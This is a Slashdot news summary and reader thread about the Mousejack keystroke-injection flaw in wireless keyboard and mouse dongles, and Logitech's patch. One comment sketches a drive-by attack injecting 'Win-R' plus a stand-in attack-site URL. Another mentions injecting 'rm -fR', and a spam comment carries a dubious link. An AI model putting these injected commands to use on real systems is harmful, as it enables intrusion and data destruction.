Mousejack Attacks Exploit Wireless Keyboards and Mice (threatpost.com)
msm1267 writes: Researchers have discovered a vulnerability in the USB devices that support wireless keyboards and mice that could put a countless number of devices at risk to attack. Seven manufacturers have been informed of the flaw, but as of today, only Logitech has produced a firmware update. Some have no update mechanism and can never be patched. The issue lies in the fact that some of the commands from the peripheral device to the dongle are not encrypted. Most do not authenticate packets and an attacker within close proximity and using a USB transmitting malicious packets over radio frequency can trick the victim's machine into accepting mouse clicks impersonating keystrokes. It would take a matter of seconds for the attacker's code to load a rootkit, malware or additional network access.
Heh heh. You said "dongle."
...is why you should be using bluetooth instead of cheaping out. Saves a USB port, too!
Pick one.
Security is always a trade-off, where you decide how determined your attacker is going to be, and weigh that against convenience.
If you're choosing wireless peripherals, you are leaning so far toward the "convenient" that you're wasting your time if you think any other security measures can make up for it.
Wireless security, lol.
There's no way my wireless keyboard could ever be hacked in this fashion beca I MADE $125,000 YEAR BY USING THESE SIMPLE STEPS - CLICK HERE TO LEARN MORE http://888999444333.ze/?bypass...
It's an enhancement of the really old serial ports, from a time when security wasn't really a concern. USB isn't encrypted and therefore is vulnerable. Perhaps it's time to move on to better standards and abandon USB for the vulnerable dinosaur it is.
Cuz no one ever cracked Bluetooth or highjacked a Bluetooth device with it's super secret 0000 pin.
But, there's nothing quite as satisfying as the squishy lag that Bluetooth gives HID devices. Online gamers especially love it.
Just how much of a risk is there to this exploit?
"A Logitech spokesman told the MIT Technology review that the company has a software update to fix the issue, but that the vulnerability Bastille detected “would be complex to replicate” since it requires being physically close to the victim, which makes it “a difficult and unlikely path of attack.”
It seems to me that you would have to be fairly close to the system that you are attacking as the USB plug doesn't have a lot of power or range. Yes, an attacker could install a repeater. But that too requires physical access. Plus, you have to know what type of system you are attacking (UNIX vs Windows), etc. It does seem like Logitech makes a good point even though they may have a vested interest in downplaying it.
I thought someone is deploying tools to give rodents hand jobs, and that was terribly odd to be on /.
ELOI, ELOI, LAMA SABACHTHANI!?
“It would take a matter of seconds for the attacker's code to load a rootkit, malware or additional network access.”
Really? With just keystrokes and mouse moves? With no feedback about where the keystrokes and clicks end up?
For a particular target, a way can probably be devised, but it will most likely be slow and visible. And not work with the next target.
Injecting keys is clearly a security flaw with severe consequences, but over-hyping it is unproductive.
mouse clicks impersonating keystrokes.
The article is clearer on what this suppoed to mean:
An attacker can impersonate the mouse but transmit keypress-packets
systemd is Roko's Basilisk.
True, but many (most?) PC laptops don't have enough range to use a Bluetooth keyboard or mouse.
And you're basing this on ONE test case? I don't know whether it was the logitech or the Dell stuff that sucked, but one of them must have.
Between several keyboards, mice, and laptops (logitech, microsoft, dell, and a few no-names), I've never had any real problem with bluetooth range. The 'whole house' seems to be the range - I only get problems from the furthest bedroom to the garage on the opposite side.
I don't read AC A human right
The risk from this could actually turn out to be really high - perhaps not to any individual system, but to an office environment. TFA includes "100 meters" and "a $15 USB dongle and 15 lines of Python code" which I could believe.
The issue is that if this can be a broadcast attack, it doesn't need to be successful any more than hacking an ad network needs 100% infection rates - if I can drive up outside a multi-story office building with a cheap adapter at the end of a USB extension cable (and perhaps an appropriate dish) and broadcast "Win-R http://attacksite.site/<Enter>", how many of the PCs in window offices will load that site which loads various exploits based on detection of the browser? This is even better than spearphishing because I don't have to worry about getting through email filters, and if I manage it right I know what company/companies I targeted at what time along with my trojan access to one or more computers within those offices.
Remember, this is injection of events, not 2-way communication. There's no handshaking or anything else.
I'm going to be keeping track of this and probably pushing some customers to eliminate or at least replace some cordless equipment - that was an agenda item before, but this can make it a high-priority agenda item.
fencepost
just a little off
Say goodbye Microsoft keyboard and mouse. Glad I had a spare :-/
Affected devices
Searching for a new keyboard on Amazon and seeing all the existing USB keyboards being sold with this vulnerability really pisses me off. It's some major fucking fraud to keep selling a product with this vulnerability.
As of 13:35 Pacific time, the updated Logitech firmware doesn't seem to be actually downloadable.
It's nice of Logitech to develop such software, but they actually have to publish it for it to make a difference.
(Tried both my OSX and Windows 7 machines, the Logitech Unify software says no updates available, nothing but questions on their forum)
So where's this Logitech firmware update? I searched their website, looked at the downloads offered for my mouse (MX Master), and there isn't a firmware update utility. Checked all OSes.
I wish I could use just bluetooth with it instead of the dongle, but Ubuntu 14.04 doesn't seem to work with it with bluetooth... My chromebook on the other hand works flawlessly.
Here ya go...
https://forums.logitech.com/t5...
I worked as a one-man IT dept for a small private school for a few years. Someone donated a bunch of wireless keyboard/mouse sets one year, which were used by several of the teachers (without my involvement).
Shortly afterwards, I started getting odd "OMG, my computer is infected" reports. Mouses were moving on their own, and random typing was appearing out of nowhere.
The ethernet jacks were usually on shared walls, which resulted in PCs ending up on opposite sides of the same wall (only 2-3 feet apart). Since the devices only had three channels, several of these pairs had ended up on the same one, with hilarity ensuing. :)
Yeah, wtf. If you have a file available, say so. If you don't, say it will be coming shortly.
I saw a link to what looks like the newest firmware on some Dark Reading" blog, but I am not dl'ing some random file stored on some random amazon server from some random blogger. I've searched Logitech's site and the web for the filename and no such luck. I tried updating the firmware thru the Logitech software and it says the vulnerable firmware version is the most up to date. http://www.darkreading.com/endpoint/mousejack-attack-bites-non-bluetooth-wireless-mice/d/d-id/1324404
This is bullshit. I figured I was getting a more secure kb/mouse from a "reputable" company like Logitech. I won't make that mistake again.
Fuck you Logitech.
Could this hack be reversed, ie: log keystrokes from a wireless keyboard? That sounds substantially more dangerous and more useful to a hacker than sending keystrokes. I've always been wary of wireless keyboard for this reason, but mice are pretty much a non-issue if their data could be captured. Mouse data sending is probably just as useless.
Here's the official statement from Logitech.
The post:
http://forums.logitech.com/t5/Mice-and-Pointing-Devices/Logitech-Response-to-Unifying-Receiver-Research-Findings/m-p/1493878/thread-id/73186
The file
http://logt.ly/0222
DL the linked file, run it (it will not really do anything that you can see) then try updating the firmware thru the Unifying software. It is all in the post
Here's the official statement from Logitech.
The post:
http://forums.logitech.com/t5/Mice-and-Pointing-Devices/Logitech-Response-to-Unifying-Receiver-Research-Findings/m-p/1493878/thread-id/73186
The file
http://logt.ly/0222
DL the linked file, run it (it will not really do anything that you can see) then try updating the firmware thru the Unifying software. It is all in the post
I installed this and it breaks a few things in the software, like displaying variables instead of the text in the update options, but it seems to work fine for now.
Not only do wireless keyboards and mice (regardless of technology) chew through batteries but they are also vulnerable to attacks? Glad I am not using them on my PC then (Logitech K120 keyboard and Gigabyte GM-M6580 laser mouse)
On the logiotech website I find neither a list of affected devices nore downloads for firmware updates. Has anyone a link? TIA!
I do have a wireless mouse and I have an odd question. The attacker could replace the mouse clicks by keystrokes to pretend "I" am writing. Good. If I type when no program is opened, what harm can it use?
I do understand that If I'm working with a konsole it can run `rm -fR' and screwup my user account (not the system, unless I'm fool enough to be logged in as root). Or if I'm writing a latex the attacker can fool me around by introducing random typos or somethings. I'm very confused, as whatever I type has only consequences to the program with the focus.